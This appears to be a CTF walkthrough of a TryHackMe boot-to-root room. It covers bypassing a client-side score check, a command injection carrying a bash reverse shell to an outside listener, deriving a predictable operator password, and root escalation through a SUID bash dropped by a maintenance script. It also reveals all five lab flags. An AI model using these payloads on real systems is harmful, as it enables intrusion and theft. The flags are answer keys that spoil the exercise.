December 3, 2026
TryHackMe: The Unwinnable Game (Cypher Creek) Walkthrough
Bypassing a rigged scoreboard, exploiting command injection for a foothold, cracking deterministic credentials, and escalating to root

By Nyx_Layer
3 min read
Platform: TryHackMe (Advent of Cyber Side Quest)
Category: Boot 2 Root
Difficulty: Easy
Points: 60
Objective: Bypass the client-side controls on the Cypher Creek Ransom Portal, establish a foothold on the underlying server, pivot through internal service accounts, and escalate privileges to root to recover all 5 flags.
1. Reconnaissance & Initial Enumeration
We start by scanning the target IP (10.48.132.114) with nmap to check for open ports and running services:
Bash
nmap 10.48.132.114nmap 10.48.132.114The scan reports two open TCP ports:
22/tcpโ OpenSSH31337/tcpโ Elite (Custom HTTP web portal)
Opening [http://10.48.132.114:31337](http://10.48.132.114:31337) in the browser brings up the Cypher Creek Ransom Portal, hosting a rigged "Click the Yeti" mini-game.
๐ฉ Flag 1: Bypassing Client-Side Score Validation
Rather than grinding out an unwinnable score legitimately, we open the browser's Developer Tools Console and call the score submission function directly:
JavaScript
submitScore(100)submitScore(100)
The application accepts the submitted score and opens /vault, revealing Flag 1 along with the File Recovery form
Question: Claim the prize the game always promised
Flag 1:
THM{never_trust_a_client_side_scoreboard}
๐ฉ Flag 2: Command Injection & Foothold (relay)
The File Recovery feature takes a household identifier (such as creekside_inn) and passes it to the backend without proper input sanitization, allowing OS command injection.
First, we start a Netcat listener on port 4444:
Bash
nc -lnvp 4444nc -lnvp 4444
Next, we enter our payload into the File Recovery field and submit:
Bash
creekside_inn;bash -c "bash -i >& /dev/tcp/10.48.78.208/4444 0>&1"creekside_inn;bash -c "bash -i >& /dev/tcp/10.48.78.208/4444 0>&1"
Our listener catches the connection as relay@tryhackme-2404
Checking relay's home directory and reading user.txt gives us Flag 2:
Bash
cd ~
ls
cat user.txtcd ~
ls
cat user.txt
Question: Your first foothold on the machine
Flag 2:
THM{the_stream_gives_up_its_files}
๐ฉ Flag 3: Post-Exploitation Enumeration (/opt/cypher-stream)
Inspecting .bash_history shows prior commands referencing /opt/cypher-stream and keygen.py
Bash
cat .bash_historycat .bash_history
Moving into /opt/cypher-stream, we find flag_enum.txt, keygen.py, queue, recover.sh, and relay-maintenance-runner.py. Reading flag_enum.txt yields Flag 3:
Bash
cd /opt/cypher-stream
ls
cat flag_enum.txtcd /opt/cypher-stream
ls
cat flag_enum.txt
Question: The relay left notes to itself
Flag 3:
THM{the_key_was_hiding_in_the_comments}
๐ฉ Flag 4: Lateral Movement to operator
Inspecting keygen.py shows that operator_password() derives the operator password deterministically by hashing the hostname concatenated with ROTATION_SALT using SHA-256 and taking the first 16 hex characters:
Python
def operator_password() -> str:
hostname = socket.gethostname()
digest = hashlib.sha256((hostname + ROTATION_SALT).encode()).hexdigest()
return digest[:16]def operator_password() -> str:
hostname = socket.gethostname()
digest = hashlib.sha256((hostname + ROTATION_SALT).encode()).hexdigest()
return digest[:16]
Running python3 keygen.py prints 88986b5ea2e6d9c5
We switch to the operator user with su operator:
Bash
su operator
whoamisu operator
whoami
Navigating to operator's home directory (cd ~) reveals README, maintenance, and operator.txt. Reading operator.txt gives us Flag 4:
Bash
cd ~
ls
cat operator.txtcd ~
ls
cat operator.txt
Question: The same recipe, every time
Flag 4:
THM{same_recipe_every_time}
๐ฉ Flag 5: Privilege Escalation to root
Reading README in /home/operator explains that scripts dropped into maintenance/ are picked up and executed automatically with elevated privileges
Bash
cat READMEcat README
We write an executable script ~/maintenance/pwn.sh to copy /bin/bash to /tmp/rb with SUID permissions (4755) and copy /root/root.txt to /tmp/root.txt (644):
Bash
cat > ~/maintenance/pwn.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb
cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt
EOF
chmod +x ~/maintenance/pwn.shcat > ~/maintenance/pwn.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb
cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt
EOF
chmod +x ~/maintenance/pwn.sh
Once the script runs, we invoke /tmp/rb -p and read /tmp/root.txt to get the final flag:
Bash
/tmp/rb -p
cat /tmp/root.txt/tmp/rb -p
cat /tmp/root.txt
Question: Who really runs the relay
Flag 5:
THM{the_yeti_trusted_too_soon}
Five flags claimed. Cypher Creek freed. Root access secured.
The Yeti rigged the scoreboard in the browser, left the file recovery input wide open to command injection, derived operator credentials from predictable inputs, and let maintenance/ scripts run with root privileges. Turns out the real monster in Cypher Creek was trusting client-side logic and unsanitized inputs.
Stay encrypted. ๐ [Connection Closed // 0xNyx :: U2VlIHlvdSBpbiB0aGUgbmV4dCBsYXllcg==]